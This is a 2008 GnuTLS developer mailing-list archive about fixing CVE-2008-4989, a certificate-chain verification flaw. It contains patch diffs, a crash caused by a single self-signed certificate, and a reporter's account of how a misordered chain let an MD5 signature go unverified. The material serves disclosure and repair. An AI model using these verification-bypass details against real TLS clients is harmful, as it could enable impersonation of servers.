> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
> > Hello,
> > given the recent fix in the _gnutls_x509_verify_certificate I have been
> > looking at the function. I see there are currently some limitations in
> > it. For example it now doesn't allow verification of explicitely trusted
> > self-signed site certificate. Is there some other method how this could
> > be achieved?
> You can achieve it by associating an address of a website with the
> keyid of the given
> certificate. This is more generic of trusting a self-signed
> certificate. You can trust any
> certificate first presented when accessing a website that way (ssh security).

But the patch should be modified anyway because in case the server
presents just a self-signed site certificate there will be a dereference
of the certificate_list[-1].

It is also questionable whether the function should not also check for
clist_size of 0 before calling _gnutls_verify_certificate2().

-- 
Tomas Mraz
No matter how far down the wrong road you've gone, turn back.
                                              Turkish proverb
-------------- next part --------------
A non-text attachment was scrubbed...
Name: gnutls-1.4.1-cve-2008-4989.patch
Type: text/x-patch
Size: 1388 bytes
Desc: not available
URL: </pipermail/attachments/20081111/8054c08f/attachment.bin>

From wk at gnupg.org  Tue Nov 11 12:09:01 2008
From: wk at gnupg.org (Werner Koch)
Date: Tue, 11 Nov 2008 12:09:01 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <cone.1226367355.150099.10890.500@commodore.email-scan.com> (Sam
	Varshavchik's message of "Mon, 10 Nov 2008 20:35:55 -0500")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
Message-ID: <87y6zqldte.fsf@wheatstone.g10code.de>

On Tue, 11 Nov 2008 02:35, mrsam at courier-mta.com said:

> 1) The first certificate must be one of your trusted certs
>
> 2) Each one of the following certificates must be signed by the
> previous one, ending with the peer's certificate

And there are dozens of other constraints you have to obey when doing an
X.509 certificate chain verification.

A simple I recently wrote is in dirmngr/src/validate.c which is about
1100 lines.  However the code may not be suitable for DoS affected
scenarios.


Shalom-Salam,

   Werner

-- 
Die Gedanken sind frei.  Auschnahme regelt ein Bundeschgesetz.





From simon at josefsson.org  Tue Nov 11 15:29:53 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 15:29:53 +0100
Subject: cve-2008-4989.c
Message-ID: <87k5bas5cu.fsf@mocca.josefsson.org>

Here is a self-test that detects whether the installed libgnutls is
vulnerable or not.

Build it:

gcc -o cve-2008-4989 cve-2008-4989.c -lgnutls

Output for vulnerable libraries:

jas at mocca:~/src/gnutls/tests master$ LD_PRELOAD=/usr/lib/libgnutls.so ./cve-2008-4989 ; echo $?
./cve-2008-4989: verify_status: 0
1
jas at mocca:~/src/gnutls/tests master$

Output for fixed libraries:

jas at mocca:~/src/gnutls/tests master$ ./cve-2008-4989 ; echo $?
0
jas at mocca:~/src/gnutls/tests master$

This will part of future releases to test regressions:

http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=4d0486baaf9d65d965ecefd38647f4518bf0d0d7

/Simon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: cve-2008-4989.c
Type: text/x-csrc
Size: 7626 bytes
Desc: not available
URL: </pipermail/attachments/20081111/601138d7/attachment.c>

From simon at josefsson.org  Tue Nov 11 16:05:42 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 16:05:42 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <1226398248.3447.353.camel@vespa.frost.loc> (Tomas Mraz's message
	of "Tue, 11 Nov 2008 11:10:48 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
Message-ID: <87y6zqqp4p.fsf@mocca.josefsson.org>

Tomas Mraz <tmraz at redhat.com> writes:

> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote:
>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
>> > Hello,
>> > given the recent fix in the _gnutls_x509_verify_certificate I have been
>> > looking at the function. I see there are currently some limitations in
>> > it. For example it now doesn't allow verification of explicitely trusted
>> > self-signed site certificate. Is there some other method how this could
>> > be achieved?
>> You can achieve it by associating an address of a website with the
>> keyid of the given
>> certificate. This is more generic of trusting a self-signed
>> certificate. You can trust any
>> certificate first presented when accessing a website that way (ssh security).
>
> But the patch should be modified anyway because in case the server
> presents just a self-signed site certificate there will be a dereference
> of the certificate_list[-1].
>
> It is also questionable whether the function should not also check for
> clist_size of 0 before calling _gnutls_verify_certificate2().

Indeed.  This may explain:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279

/Simon

> -- 
> Tomas Mraz
> No matter how far down the wrong road you've gone, turn back.
>                                               Turkish proverb
> diff -up gnutls-1.4.1/lib/x509/verify.c.chain-verify gnutls-1.4.1/lib/x509/verify.c
> --- gnutls-1.4.1/lib/x509/verify.c.chain-verify	2008-11-11 10:55:19.000000000 +0100
> +++ gnutls-1.4.1/lib/x509/verify.c	2008-11-11 10:58:54.000000000 +0100
> @@ -379,6 +379,17 @@ _gnutls_x509_verify_certificate (const g
>    int i = 0, ret;
>    unsigned int status = 0, output;
>  
> +  /* Check if the last certificate in the path is self signed.
> +   * In that case ignore it (a certificate is trusted only if it
> +   * leads to a trusted party by us, not the server's).
> +   */
> +  if (clist_size > 1 &&
> +      gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
> +				    certificate_list[clist_size - 1]) > 0)
> +    {
> +      clist_size--;
> +    }
> +
>    /* Verify the last certificate in the certificate path
>     * against the trusted CA certificate list.
>     *
> @@ -417,17 +428,6 @@ _gnutls_x509_verify_certificate (const g
>      }
>  #endif
>  
> -  /* Check if the last certificate in the path is self signed.
> -   * In that case ignore it (a certificate is trusted only if it
> -   * leads to a trusted party by us, not the server's).
> -   */
> -  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
> -				    certificate_list[clist_size - 1]) > 0
> -      && clist_size > 0)
> -    {
> -      clist_size--;
> -    }
> -
>    /* Verify the certificate path (chain) 
>     */
>    for (i = clist_size - 1; i > 0; i--)
> _______________________________________________
> Gnutls-devel mailing list
> Gnutls-devel at gnu.org
> http://lists.gnu.org/mailman/listinfo/gnutls-devel




From simon at josefsson.org  Tue Nov 11 16:18:24 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 16:18:24 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <87y6zqqp4p.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Tue, 11 Nov 2008 16:05:42 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
Message-ID: <87od0mqojj.fsf@mocca.josefsson.org>

Simon Josefsson <simon at josefsson.org> writes:

> Tomas Mraz <tmraz at redhat.com> writes:
>
>> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote:
>>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
>>> > Hello,
>>> > given the recent fix in the _gnutls_x509_verify_certificate I have been
>>> > looking at the function. I see there are currently some limitations in
>>> > it. For example it now doesn't allow verification of explicitely trusted
>>> > self-signed site certificate. Is there some other method how this could
>>> > be achieved?
>>> You can achieve it by associating an address of a website with the
>>> keyid of the given
>>> certificate. This is more generic of trusting a self-signed
>>> certificate. You can trust any
>>> certificate first presented when accessing a website that way (ssh security).
>>
>> But the patch should be modified anyway because in case the server
>> presents just a self-signed site certificate there will be a dereference
>> of the certificate_list[-1].
>>
>> It is also questionable whether the function should not also check for
>> clist_size of 0 before calling _gnutls_verify_certificate2().
>
> Indeed.  This may explain:
>
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279

On reading more code, probably not, since all calls to
_gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify
which does check for clist_size==0.  For readability, the two functions
should probably be merged into one.

/Simon




From tmraz at redhat.com  Tue Nov 11 16:30:35 2008
From: tmraz at redhat.com (Tomas Mraz)
Date: Tue, 11 Nov 2008 16:30:35 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <87od0mqojj.fsf@mocca.josefsson.org>
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
Message-ID: <1226417435.3447.370.camel@vespa.frost.loc>

On Tue, 2008-11-11 at 16:18 +0100, Simon Josefsson wrote:
> Simon Josefsson <simon at josefsson.org> writes:
> 
> > Tomas Mraz <tmraz at redhat.com> writes:
> >
> >> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote:
> >>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
> >>> > Hello,
> >>> > given the recent fix in the _gnutls_x509_verify_certificate I have been
> >>> > looking at the function. I see there are currently some limitations in
> >>> > it. For example it now doesn't allow verification of explicitely trusted
> >>> > self-signed site certificate. Is there some other method how this could
> >>> > be achieved?
> >>> You can achieve it by associating an address of a website with the
> >>> keyid of the given
> >>> certificate. This is more generic of trusting a self-signed
> >>> certificate. You can trust any
> >>> certificate first presented when accessing a website that way (ssh security).
> >>
> >> But the patch should be modified anyway because in case the server
> >> presents just a self-signed site certificate there will be a dereference
> >> of the certificate_list[-1].
> >>
> >> It is also questionable whether the function should not also check for
> >> clist_size of 0 before calling _gnutls_verify_certificate2().
> >
> > Indeed.  This may explain:
> >
> > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279
> 
> On reading more code, probably not, since all calls to
> _gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify
> which does check for clist_size==0.  For readability, the two functions
> should probably be merged into one.
But they don't check for clist_size==1 and this causes the debian bug
when self-signed site certificate is used.

-- 
Tomas Mraz
No matter how far down the wrong road you've gone, turn back.
                                              Turkish proverb





From simon at josefsson.org  Tue Nov 11 16:46:27 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 16:46:27 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <87od0mqojj.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Tue, 11 Nov 2008 16:18:24 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
Message-ID: <87iqquqn8s.fsf@mocca.josefsson.org>

Simon Josefsson <simon at josefsson.org> writes:

> Simon Josefsson <simon at josefsson.org> writes:
>
>> Tomas Mraz <tmraz at redhat.com> writes:
>>
>>> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote:
>>>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz <tmraz at redhat.com> wrote:
>>>> > Hello,
>>>> > given the recent fix in the _gnutls_x509_verify_certificate I have been
>>>> > looking at the function. I see there are currently some limitations in
>>>> > it. For example it now doesn't allow verification of explicitely trusted
>>>> > self-signed site certificate. Is there some other method how this could
>>>> > be achieved?
>>>> You can achieve it by associating an address of a website with the
>>>> keyid of the given
>>>> certificate. This is more generic of trusting a self-signed
>>>> certificate. You can trust any
>>>> certificate first presented when accessing a website that way (ssh security).
>>>
>>> But the patch should be modified anyway because in case the server
>>> presents just a self-signed site certificate there will be a dereference
>>> of the certificate_list[-1].
>>>
>>> It is also questionable whether the function should not also check for
>>> clist_size of 0 before calling _gnutls_verify_certificate2().
>>
>> Indeed.  This may explain:
>>
>> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279
>
> On reading more code, probably not, since all calls to
> _gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify
> which does check for clist_size==0.  For readability, the two functions
> should probably be merged into one.

I was mistaken, the problem is when clist_size==1, then the function
decrements it and then references clist_size-1 which is bad.

So the patch in v2.6.1 and in the advisory causes crashes when the chain
contains just one self-signed certificate.  Ouch.  Thinking more about
this, I suspect the entire optimization to remove the final certificate
is pointless.  So this patch (against v2.6.1) should also work:

diff --git a/lib/x509/verify.c b/lib/x509/verify.c
index 8fa90dc..92ef722 100644
--- a/lib/x509/verify.c
+++ b/lib/x509/verify.c
@@ -374,17 +374,6 @@ _gnutls_x509_verify_certificate (const gnutls_x509_crt_t * certificate_list,
   int i = 0, ret;
   unsigned int status = 0, output;
 
-  /* Check if the last certificate in the path is self signed.
-   * In that case ignore it (a certificate is trusted only if it
-   * leads to a trusted party by us, not the server's).
-   */
-  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
-				    certificate_list[clist_size - 1]) > 0
-      && clist_size > 0)
-    {
-      clist_size--;
-    }
-
   /* Verify the last certificate in the certificate path
    * against the trusted CA certificate list.
    *

The self-test needs to be modified slightly to accommodate this, because
now the validation returns without the GNUTLS_CERT_SIGNER_NOT_FOUND
flag, which is arguable more correct (?) since the problem is actually
because of failing verification.

Nikos, any thoughts?

Btw, I've updated cve-2008-4989.c in git, now it tests both the chain
that caused incorrect validation and a self-signed chain that causes a
crash.

/Simon




From simon at josefsson.org  Tue Nov 11 16:51:45 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 16:51:45 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <cone.1226367355.150099.10890.500@commodore.email-scan.com> (Sam
	Varshavchik's message of "Mon, 10 Nov 2008 20:35:55 -0500")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
Message-ID: <87ej1iqmzy.fsf@mocca.josefsson.org>

Sam Varshavchik <mrsam at courier-mta.com> writes:

> Tomas Mraz writes:
>
>> self-signed site certificate. Is there some other method how this could
>> be achieved? If not, then perhaps the test for the self-signed should be
>> performed only when clist_size > 1. Also the test for the clist_size
>> should be first test of the if().
>>
>> The other limitation is that only the last certificate (after removing
>> eventual self-signed cert at the end of the chain) is checked against
>> the trusted list. That means you can not put just an intermediate CA
>> cert into the trusted list to be able to verify the chain.
>>
>> What do you think of these limitations, should they be removed?
>
> Here's how I always thought certificate verifications should work:
>
> 1) The first certificate must be one of your trusted certs
>
> 2) Each one of the following certificates must be signed by the
> previous one, ending with the peer's certificate
>
> It makes no sense to search the trusted list for any intermediate
> certs, neither does it make sense to treat self-signed certs in any
> special way. All of the root, trusted, certs are self-signed certs,
> the above logic works correctly for them.

RFC 3280 section 6 contains one algorithm, and I think we need good
arguments to deviate from it.

I believe it is useful to explicitly trust an intermediate CA
certificate rather than the root CA though: consider if I purchase a CA
certificate from VeriSign: on some environments, I may want to configure
applications to trust my CA (whose private key I control) rather then
VeriSign's.  Opens up for problems with revocation of my CA certificate,
but still...

Generally, I don't think X.509 validation belongs in the same process as
a TLS client or server -- it is complex and mistakes will happen, it is
better to put all X.509 handling (including private key handling) in a
separate process.

/Simon




From Martin.vGagern at gmx.net  Tue Nov 11 17:38:59 2008
From: Martin.vGagern at gmx.net (Martin von Gagern)
Date: Tue, 11 Nov 2008 17:38:59 +0100
Subject: How GNUTLS-SA-2008-3 was discovered
In-Reply-To: <87zlk74y0k.fsf@mocca.josefsson.org>
References: <490EF366.4020909@gmx.net> <87zlk74y0k.fsf@mocca.josefsson.org>
Message-ID: <4919B523.2050901@gmx.net>

Hi guys!

Simon kindly asked me to share with you how I found this recent issue in
the first place. For those interested, read on. Others may skip it.

Simon Josefsson wrote:
> Martin, btw, how did you find the problem?  It can be useful for me to
> to understand when talking about how GnuTLS security reporting works.

I have a local server authenticated using a CAcert certificate. The
server is an Apache configured to submit its whole chain, which starts
at the CAcert root, includes an intermediate (class 3) certificate from
CAcert and finally arrives at the server certificate.

On that server I have a svn repository, which I recently tried to access
using bzr. The connection failed, and the error message wasn't
particularly useful, openssl s_client had no problems at all, so I
started debugging the code in order to find the cause of this error.

I found out that bzr tried to connect using pycurl, and that my curl
library was using GnuTLS. I'm using Gentoo here, and have most
allications that support GnuTLS use that. Inside the GnuTLS code I
finally got to the actual cause: the class 3 certificate from CAcert was
signed by the root certificate using MD5, which GnuTLS considers broken.

While I stopped to wonder for a moment, I also got worried that this
would affect several other servers I have set up in a similar way. Just
for comparison I connected one of them using the curl command line tool,
and to my surprise found out that it connected without any complaints.

I couldn't fathom the reason for this, and as I had my debugging
environment already set up and knew my way around the GnuTLS
verification code by then, I debugged both connections. I found out that
the problematic MD5-based signature was never actually verified in the
cases where connection succeeded. I found the cause for this in the
broken mechanics of _gnutls_x509_verify_certificate.

With that knowledge, I could finally find the difference in my server
configuration: I had concatenated the chain certificates in the wrong
order, so that the complete list or certificates was 0: server, 1: root,
2: intermediate. Thus on my system, the signature mechanism of the
intermediate certificate caused the error, while on those other systems
with correct setup the root was dropped, and the signature from
intermediate to server certificate was deemed valid, as it uses sha.

Of course once I realized that there was no bug in GnuTLS breaking my
lokal setup, but instead an intentional distrust towards MD5, and that
the other setups only worked because one step wasn't verified at all, I
knew I had found a serious security issue. I performed this model setup
I already wrote about to make sure, and then contacted Simon.

Greetings,
 Martin

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 260 bytes
Desc: OpenPGP digital signature
URL: </pipermail/attachments/20081111/5c4e9921/attachment.pgp>

From Martin.vGagern at gmx.net  Tue Nov 11 18:09:03 2008
From: Martin.vGagern at gmx.net (Martin von Gagern)
Date: Tue, 11 Nov 2008 18:09:03 +0100
Subject: More intelligent path finding
Message-ID: <4919BC2F.2010300@gmx.net>

Hi again.

While looking at _gnutls_x509_verify_certificate I realized that I
personally would have implemented this whole verification process a bit
differently. I'm not a regular reader of the gnutls-devel list, but I
have the feeling that some recent posts might go in the same direction.

I'd have the function called with a single certificate to verify, a list
of untrusted certificates to be used for the chain, and a list of
trusted certificates to be used as the root. The verification process
would look for the issuer of the current certificate first in the list
of trusted certificates. If it finds one, verify and return result. If
not, look for the issuer in the list of untrusted certificates. If it
finds one, verify that next (recursively), if not we don't have enough
material for a chain.

This process would have two benefits. The order in which the
intermediate certificates are submitted wouldn't matter any more. And
you could also add some intermediate certificate to the list of trusted
certificates, in order to trust a subtree of the hierarchy, and the
server could still continue to submit its whole chain. E.g. a server A
could submit the chain [A, B, C, D, E], with E as a self-signed root.
When you only want to trust certificates from C, you would add that to
your list of trusted CAs, never mind that it's not self signed, and
GnuTLS would accept A after verifying two signatures, A-B and B-C.

So far for my own ideas. I already included them in some private
correspondence with Simon, and he mentioned that this might cause DoS
issues, and that a DoS-proof setup should theoretically start at the
trusted root. As an alternative, one could find the path as described
above by simply looking at the distinguished names (and maybe some other
elements used to distinguish certificates over time?) and verify the
whole path the classical way once it's been found.

So much for my suggestion. I would assume that this should be fairly
easy to implement. I don't know whether I will find the time for this in
the forseeable future, though, especially as I still haven't read large
parts of the GnuTLS codebase. So I offer this for discussion, and leave
it for you to comment, maybe even implement, or wait until I find the
time and motivation.

Greetings,
 Martin

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 260 bytes
Desc: OpenPGP digital signature
URL: </pipermail/attachments/20081111/615d7298/attachment.pgp>

From ametzler at downhill.at.eu.org  Tue Nov 11 20:16:49 2008
From: ametzler at downhill.at.eu.org (Andreas Metzler)
Date: Tue, 11 Nov 2008 20:16:49 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <87iqquqn8s.fsf@mocca.josefsson.org>
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
	<87iqquqn8s.fsf@mocca.josefsson.org>
Message-ID: <20081111191649.GB4518@downhill.g.la>

On 2008-11-11 Simon Josefsson <simon at josefsson.org> wrote:
[...]
> So the patch in v2.6.1 and in the advisory causes crashes when the chain
> contains just one self-signed certificate.  Ouch.  Thinking more about
> this, I suspect the entire optimization to remove the final certificate
> is pointless.  So this patch (against v2.6.1) should also work:

> diff --git a/lib/x509/verify.c b/lib/x509/verify.c
> index 8fa90dc..92ef722 100644
> --- a/lib/x509/verify.c
> +++ b/lib/x509/verify.c
> @@ -374,17 +374,6 @@ _gnutls_x509_verify_certificate (const gnutls_x509_crt_t * certificate_list,
>    int i = 0, ret;
>    unsigned int status = 0, output;

> -  /* Check if the last certificate in the path is self signed.
> -   * In that case ignore it (a certificate is trusted only if it
> -   * leads to a trusted party by us, not the server's).
> -   */
> -  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
> -				    certificate_list[clist_size - 1]) > 0
> -      && clist_size > 0)
> -    {
> -      clist_size--;
> -    }
> -
>    /* Verify the last certificate in the certificate path
>     * against the trusted CA certificate list.
>     *
[...]

Hello,
So combining this one and the patch in advisory I would get:
----------------------
--- /tmp/verify.c.origal        2008-11-11 18:46:43.000000000 +0000
+++ lib/x509/verify.c   2008-11-11 18:48:08.000000000 +0000
@@ -414,17 +414,6 @@
     }
 #endif
 
-  /* Check if the last certificate in the path is self signed.
-   * In that case ignore it (a certificate is trusted only if it
-   * leads to a trusted party by us, not the server's).
-   */
-  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
-                                   certificate_list[clist_size - 1]) > 0
-      && clist_size > 0)
-    {
-      clist_size--;
-    }
-
   /* Verify the certificate path (chain) 
    */
   for (i = clist_size - 1; i > 0; i--)
----------------------

Applying this to 2.4.2 this does away with the crash, however it does
not fix the advisory anymore. (The way to reproduce described in
http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e
works again.
cu and- wondering when lists.gnu.org is accessible by SMTP again -reas

-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'




From ametzler at downhill.at.eu.org  Sun Nov  9 09:04:18 2008
From: ametzler at downhill.at.eu.org (Andreas Metzler)
Date: Sun, 9 Nov 2008 09:04:18 +0100
Subject: Bug#503833: Unparseable PKCS cert
In-Reply-To: <c331d99a0811081038q5a32c51bl66e1a5161d5159ee@mail.gmail.com>
References: <c331d99a0810311805i7fe0ff20id36a4c153dd26a0e@mail.gmail.com>
	<20081105201724.GF10690@colo.lackof.org>
	<c331d99a0811060148r256344caj48f63e9ae163370d@mail.gmail.com>
	<20081106175321.GB30987@colo.lackof.org>
	<491345E2.7010401@gmail.com>
	<20081106211520.GF30987@colo.lackof.org>
	<491369BC.8040403@gmail.com> <87d4h7yjzi.fsf@mocca.josefsson.org>
	<c331d99a0811081038q5a32c51bl66e1a5161d5159ee@mail.gmail.com>
Message-ID: <20081109080418.GA3345@downhill.g.la>

On 2008-11-08 Nikos Mavrogiannopoulos <nmav at gnutls.org> wrote:
> On Fri, Nov 7, 2008 at 10:16 AM, Simon Josefsson <simon at josefsson.org> wrote:
>> I just realized: doesn't Nikos' patch actually do two separate things?

>> 1) Add the BER stuff needed to support the PKCS#12 blob

>> 2) Optimize tree generation by using the small_value field.

>> It is the 2) that causes the ABI break, but 1) that is needed to solve
>> to the regression.
[...]
> I don't think this is a question that we would like to set to
> ourselves. It leads to another questions on which optimization would
> be good enough or which addition is good enough to justify the break.

> The real question would be whether we want the internal structures
> published on the public API. I don't think we want this. It leads to
> us being handicap (like we are now) to apply any optimization/addition
> to the internal works of the library. Thus for me it is a good thing
> to move them away as soon as we can to allow further development on
> libtasn1.
[...]

Hello,

Simon had already done this in git, the latest daily snapshots have
moved the struct definition to an internal header. 
cu andreas
-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'




From simon at josefsson.org  Tue Nov 11 21:30:40 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 11 Nov 2008 21:30:40 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <20081111191649.GB4518@downhill.g.la> (Andreas Metzler's message
	of "Tue, 11 Nov 2008 20:16:49 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
	<87iqquqn8s.fsf@mocca.josefsson.org>
	<20081111191649.GB4518@downhill.g.la>
Message-ID: <877i7auhsf.fsf@mocca.josefsson.org>

Andreas Metzler <ametzler at downhill.at.eu.org> writes:

> Hello,
> So combining this one and the patch in advisory I would get:
> ----------------------
> --- /tmp/verify.c.origal        2008-11-11 18:46:43.000000000 +0000
> +++ lib/x509/verify.c   2008-11-11 18:48:08.000000000 +0000
> @@ -414,17 +414,6 @@
>      }
>  #endif
>  
> -  /* Check if the last certificate in the path is self signed.
> -   * In that case ignore it (a certificate is trusted only if it
> -   * leads to a trusted party by us, not the server's).
> -   */
> -  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
> -                                   certificate_list[clist_size - 1]) > 0
> -      && clist_size > 0)
> -    {
> -      clist_size--;
> -    }
> -
>    /* Verify the certificate path (chain) 
>     */
>    for (i = clist_size - 1; i > 0; i--)
> ----------------------

Yes.

> Applying this to 2.4.2 this does away with the crash, however it does
> not fix the advisory anymore. (The way to reproduce described in
> http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e
> works again.

Really?  I think the patch should solve both the crash and the
advisory.  Are you sure you used the right library?

> cu and- wondering when lists.gnu.org is accessible by SMTP again -reas

Mailing lists are @gnu.org, not @lists.gnu.org.  I had to resend a few
messages that were sent to gnutls-devel at lists.gnu.org for some reason.
Or have you seen any documentation that says @lists.gnu.org can be used?

/Simon




From dkg at fifthhorseman.net  Tue Nov 11 22:31:13 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Tue, 11 Nov 2008 16:31:13 -0500
Subject: supporting out-of-process certificate validation [was: Re: The
	_gnutls_x509_verify_certificate fix]
In-Reply-To: <87ej1iqmzy.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Tue\, 11 Nov 2008 16\:51\:45 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
Message-ID: <87r65iuezi.fsf_-_@squeak.fifthhorseman.net>

On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote:

> Generally, I don't think X.509 validation belongs in the same
> process as a TLS client or server -- it is complex and mistakes will
> happen, it is better to put all X.509 handling (including private
> key handling) in a separate process.

This sounds like a good thing to me.  Do we have a clear API or
inter-process protocol for these functions?

I quite like (and use daily) OpenSSH's ssh-agent model for
out-of-process handling of private keys [0].  I'd love to see that
used (or extended if the data types are incompatible) to be able to
work with TLS connections.  Then a single backend agent could be used
for both SSH and TLS connections.

SSH does *not* have any built-in PKI for certificate verification or
hooks of this sort, though X.509 certs are supported by a set of
third-party patches [1].

However, OpenPGP certificates *are* supported in external processes
using native OpenSSH hooks by the monkeysphere [2].  The hooks the
Monkeysphere uses weren't designed with key management in mind,
though, and could probably be improved.  As part of the Monkeysphere
team, i'd love to see a spec for how these hooks for external
certificate validation *should* look, and would be interested in
implementing them.  If we could frame them as extensions of the
OpenSSH agent protocol, that would be additional gravy.

I'd be very interested in helping to flesh out what communications
primitives this kind of a spec should involve, particularly if it
allows people to substitute different validation models depending on
personal preference, and to share validation models across
applications.

If anyone else is working on such a spec, i'd love to hear about it.

         --dkg

[0] http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.agent?rev=HEAD;content-type=text%2Fplain
[1] http://www.roumenpetrov.info/openssh/
[2] http://web.monkeysphere.info/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081111/df28ffc9/attachment.pgp>

From dkg at fifthhorseman.net  Tue Nov 11 22:32:49 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Tue, 11 Nov 2008 16:32:49 -0500
Subject: trusted intermediate CAs [was: Re: The
	_gnutls_x509_verify_certificate fix]
In-Reply-To: <87ej1iqmzy.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Tue\, 11 Nov 2008 16\:51\:45 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
Message-ID: <87k5bauewu.fsf_-_@squeak.fifthhorseman.net>

On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote:

> RFC 3280 section 6 contains one algorithm, and I think we need good
> arguments to deviate from it.
>
> I believe it is useful to explicitly trust an intermediate CA
> certificate rather than the root CA though: consider if I purchase a
> CA certificate from VeriSign: on some environments, I may want to
> configure applications to trust my CA (whose private key I control)
> rather then VeriSign's.

I fully agree with Simon on this.  There are many circumstances where
you'd like your systems to be able to trust *only* a narrower CA that
*you* control, while still letting external parties who trust a
broader CA cleanly validate the certificate chain.  Explicit trust in
a CA who happens to be intermediate in a specific chain must be
allowed to validate the target certificate for this to work.

i think certtool(1) is problematic in that way, fwiw:

      -e, --verify-chain
              Verify a PEM encoded certificate chain.  The last certificate in
              the chain must be a self signed one.

